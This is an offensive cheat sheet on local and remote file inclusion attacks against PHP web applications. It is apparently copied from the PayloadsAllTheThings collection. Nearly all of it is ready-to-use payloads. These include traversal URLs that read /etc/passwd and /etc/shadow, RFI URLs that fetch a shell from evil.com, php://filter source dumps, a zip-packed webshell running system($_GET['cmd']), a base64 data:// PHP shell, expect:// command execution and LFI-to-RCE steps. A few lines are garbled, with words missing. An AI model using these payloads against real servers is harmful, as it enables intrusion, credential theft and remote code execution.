PayloadsAllTheThings/File Inclusion - Path Traversal

Local/Remote File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

Basic LFI (null byte, double encoding and other tricks)

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd

Interesting files to check out :

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline

Basic RFI (null byte, double encoding and other tricks)

http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

LFI / RFI Wrappers

LFI Wrapper rot13 and base64 - php://filter case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

can be chained with a compression wrapper
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

LFI Wrapper ZIP

echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
rm payload.php   

http://example.com/index.php?page=zip://shell.jpg%23payload.php

RFI Wrapper DATA with "" payload

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

RFI Wrapper EXPECT

http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

Bonus XSS

XSS via RFI/LFI with "

http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

LFI to RCE via /proc/*/fd

1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via Upload

http://example.com/index.php?page=path/to/uploaded/file.png

You can injected the into the metadata

LFI to RCE via Phpinfo()

https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)

Thanks to

• OWASP LFI
• HighOn.coffee LFI Cheat
• Turning LFI to RFI
• Is PHP vulnerable and under what conditions?